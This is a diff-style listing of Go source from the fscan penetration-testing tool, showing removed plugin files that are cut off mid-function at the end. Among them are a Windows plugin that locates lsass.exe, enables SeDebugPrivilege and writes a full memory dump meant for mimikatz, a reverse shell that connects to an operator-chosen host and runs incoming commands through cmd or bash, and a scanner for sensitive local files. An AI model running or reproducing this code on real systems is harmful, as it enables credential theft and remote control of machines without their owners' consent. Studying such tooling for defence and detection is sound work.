baseDepth := strings.Count(searchPath, string(filepath.Separator))
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 限制递归深度
currentDepth := strings.Count(path, string(filepath.Separator))
if currentDepth-baseDepth > maxDepth {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// 跳过黑名单文件/目录
if p.isBlacklisted(path) {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// 限制文件数量
if len(foundFiles) >= maxFiles {
return filepath.SkipDir
}
// 跳过过大的文件(可能不是配置文件)
if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB
return nil
}
// 检查白名单关键词
if !info.IsDir() && p.isWhitelisted(info.Name()) {
foundFiles = append(foundFiles, path)
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
}
return nil
})
}
return foundFiles
}
// isBlacklisted 检查是否在黑名单中
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
pathLower := strings.ToLower(path)
for _, black := range p.blacklist {
if strings.Contains(pathLower, black) {
return true
}
}
return false
}
// isWhitelisted 检查是否匹配白名单
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
filenameLower := strings.ToLower(filename)
for _, white := range p.whitelist {
if strings.Contains(filenameLower, white) {
return true
}
}
return false
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewFileInfoPlugin()
},
))
}

View File

@ -1,54 +0,0 @@
package local
import (
"context"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// LocalConnector 本地信息收集连接器接口
type LocalConnector interface {
// Connect 建立本地连接(实际上是初始化本地环境)
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
// Close 关闭连接和清理资源
Close(conn interface{}) error
// GetSystemInfo 获取系统信息
GetSystemInfo(conn interface{}) (map[string]string, error)
}
// LocalScanner 本地扫描器接口
type LocalScanner interface {
base.Scanner
// ScanLocal 执行本地扫描
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetLocalData 获取本地数据
GetLocalData(ctx context.Context) (map[string]interface{}, error)
}
// LocalExploiter 本地信息提取器接口
type LocalExploiter interface {
base.Exploiter
// ExtractData 提取本地数据
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
}
// LocalPlugin 本地插件接口
type LocalPlugin interface {
base.Plugin
LocalScanner
LocalExploiter
// GetLocalConnector 获取本地连接器
GetLocalConnector() LocalConnector
// GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string
// RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool
}

View File

@ -1,626 +0,0 @@
//go:build windows
package minidump
import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"time"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// ProcessManager Windows进程管理器
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
}
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限
plugin.SetRequiresPrivileges(true)
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &MiniDumpConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
return nil, err
}
common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
common.LogDebug("advapi32.dll 加载成功")
c.kernel32 = kernel32
c.dbghelp = dbghelp
c.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成")
return localConn, nil
}
// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() {
if r := recover(); r != nil {
common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
}
}()
common.LogBase("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
common.LogError("需要管理员权限才能执行内存转储")
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员权限才能执行内存转储"),
}, nil
}
common.LogSuccess("已确认具有管理员权限")
// 建立连接
common.LogDebug("正在建立连接...")
conn, err := p.connector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("连接失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogSuccess("连接建立成功")
// 创建进程管理器
common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{
kernel32: p.connector.kernel32,
dbghelp: p.connector.dbghelp,
advapi32: p.connector.advapi32,
}
common.LogSuccess("进程管理器创建成功")
// 查找lsass.exe进程
common.LogDebug("正在查找lsass.exe进程...")
pid, err := pm.findProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
}, nil
}
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
// 提升权限
common.LogDebug("正在提升SeDebugPrivilege权限...")
if err := pm.elevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
// 权限提升失败不是致命错误,继续尝试
common.LogBase("权限提升失败,尝试继续执行...")
} else {
common.LogSuccess("权限提升成功")
}
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
// 执行转储
common.LogDebug("开始执行内存转储...")
// 使用带超时的Windows API进行内存转储
common.LogDebug("开始使用Windows API进行内存转储...")
// 创建一个带超时的context完整转储需要更长时间
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
defer cancel()
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
// 创建错误信息文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
pid, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("内存转储失败: %v", err),
}, nil
}
// 获取文件信息
fileInfo, err := os.Stat(outputPath)
var fileSize int64
if err == nil {
fileSize = fileInfo.Size()
}
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
},
}
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
return result, nil
}
// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "minidump"
data["target_process"] = "lsass.exe"
data["requires_admin"] = true
return data, nil
}
// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "内存转储完成可使用mimikatz等工具分析",
Data: data,
}, nil
}
// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
// ProcessManager 方法实现
// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
common.LogDebug("正在创建进程快照...")
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
}
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
}
common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle))
return handle, nil
}
// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
if err != nil {
return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
}
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
if err != nil {
return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
}
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
if err != nil {
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
}
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
}
processCount := 0
for {
processCount++
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, fmt.Errorf("转换进程名失败: %v", err)
}
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(namePtr)),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
common.LogSuccess(fmt.Sprintf("找到目标进程 %sPID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name))
return 0, fmt.Errorf("未找到进程: %s", name)
}
// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
// 创建一个channel来接收转储结果
resultChan := make(chan error, 1)
go func() {
resultChan <- pm.dumpProcess(pid, outputPath)
}()
select {
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
}
}
// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
common.LogDebug("正在调用MiniDumpWriteDump API...")
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
}
// 使用MiniDumpWithDataSegs获取包含数据段的转储mimikatz兼容
const MiniDumpWithDataSegs = 0x00000001
const MiniDumpWithFullMemory = 0x00000002
const MiniDumpWithHandleData = 0x00000004
const MiniDumpScanMemory = 0x00000010
const MiniDumpWithUnloadedModules = 0x00000020
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
const MiniDumpFilterModulePaths = 0x00000080
const MiniDumpWithProcessThreadData = 0x00000100
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
const MiniDumpWithoutOptionalData = 0x00000400
const MiniDumpWithFullMemoryInfo = 0x00000800
const MiniDumpWithThreadInfo = 0x00001000
const MiniDumpWithCodeSegs = 0x00002000
// 组合多个标志以获得mimikatz可识别的完整转储
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
ret, _, callErr := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(dumpType),
0, 0, 0,
)
common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
if ret == 0 {
// 获取更详细的错误信息
lastError := windows.GetLastError()
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
// 尝试使用较小的转储类型作为后备
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
ret, _, callErr = miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(fallbackDumpType),
0, 0, 0,
)
if ret == 0 {
lastError = windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogBase("使用后备转储类型成功创建转储文件")
}
common.LogSuccess("内存转储写入完成")
return nil
}
// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
}
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
return handle, nil
}
// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
}
handle, _, callErr := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0, 0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
return handle, nil
}
// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
proc.Call(handle)
}
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewMiniDumpPlugin()
},
))
}

View File

@ -1,155 +0,0 @@
package local
import (
"context"
"errors"
"fmt"
"runtime"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// BaseLocalPlugin 本地插件基础实现
type BaseLocalPlugin struct {
*base.BasePlugin
connector LocalConnector
platforms []string
requiresPrivileges bool
}
// NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{
BasePlugin: basePlugin,
connector: connector,
platforms: []string{"windows", "linux", "darwin"},
requiresPrivileges: false,
}
}
// Initialize 初始化插件
func (p *BaseLocalPlugin) Initialize() error {
// 检查平台支持
if !p.isPlatformSupported() {
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
}
return p.BasePlugin.Initialize()
}
// Scan 执行扫描
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
// 检查权限要求
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员/root权限才能执行此扫描"),
}, nil
}
return p.ScanLocal(ctx, info)
}
// ScanLocal 默认本地扫描实现(子类应重写)
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return &base.ScanResult{
Success: false,
Error: errors.New("ScanLocal方法需要在子类中实现"),
}, nil
}
// Exploit 执行利用
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 获取本地数据
data, err := p.GetLocalData(ctx)
if err != nil {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("获取本地数据失败: %v", err),
}, nil
}
return p.ExtractData(ctx, info, data)
}
// GetLocalData 默认获取本地数据实现(子类应重写)
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
}
// ExtractData 默认数据提取实现(子类应重写)
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: false,
Error: errors.New("ExtractData方法需要在子类中实现"),
}, nil
}
// GetLocalConnector 获取本地连接器
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
return p.connector
}
// GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
return p.platforms
}
// SetPlatformSupport 设置支持的平台
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
p.platforms = platforms
}
// RequiresPrivileges 是否需要特殊权限
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
return p.requiresPrivileges
}
// SetRequiresPrivileges 设置是否需要特殊权限
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
p.requiresPrivileges = required
}
// isPlatformSupported 检查当前平台是否支持
func (p *BaseLocalPlugin) isPlatformSupported() bool {
currentOS := runtime.GOOS
for _, platform := range p.platforms {
if platform == currentOS {
return true
}
}
return false
}
// hasRequiredPrivileges 检查是否具有所需权限
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
if !p.requiresPrivileges {
return true
}
// 这里可以根据平台实现权限检查
// Windows: 检查是否为管理员
// Linux/macOS: 检查是否为root或有sudo权限
switch runtime.GOOS {
case "windows":
return isWindowsAdmin()
case "linux", "darwin":
return isUnixRoot()
default:
return false
}
}
// 平台特定的权限检查函数
func isWindowsAdmin() bool {
// 这里可以调用Windows API检查管理员权限
// 简化实现实际应该使用Windows API
return false
}
func isUnixRoot() bool {
// 检查是否为root用户
return false
}

View File

@ -1,332 +0,0 @@
package reverseshell
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
connector *ReverseShellConnector
target string // 目标地址:端口
}
// ReverseShellConnector 反弹Shell连接器
type ReverseShellConnector struct {
*local.BaseLocalConnector
host string
port int
}
// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
*local.LocalConnection
Target string
Host string
Port int
}
// NewReverseShellPlugin 创建反弹Shell插件
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
if target == "" {
// 如果没有指定目标,使用默认值
target = "127.0.0.1:4444"
}
metadata := &base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"},
}
connector := NewReverseShellConnector(target)
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
target: target,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
baseConnector, _ := local.NewBaseLocalConnector()
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
portStr = "4444" // 默认端口
}
port, err := strconv.Atoi(portStr)
if err != nil {
port = 4444 // 默认端口
}
return &ReverseShellConnector{
BaseLocalConnector: baseConnector,
host: host,
port: port,
}
}
// Connect 建立反弹Shell连接
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 跳过连通性测试避免抢占反弹shell连接通道
// 反弹shell会在实际使用时进行连接这里不需要预先测试
reverseShellConn := &ReverseShellConnection{
LocalConnection: baseConn,
Target: fmt.Sprintf("%s:%d", c.host, c.port),
Host: c.host,
Port: c.port,
}
return reverseShellConn, nil
}
// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
reverseShellConn := conn.(*ReverseShellConnection)
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
Extra: map[string]interface{}{
"target": reverseShellConn.Target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
},
}
return result, nil
}
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
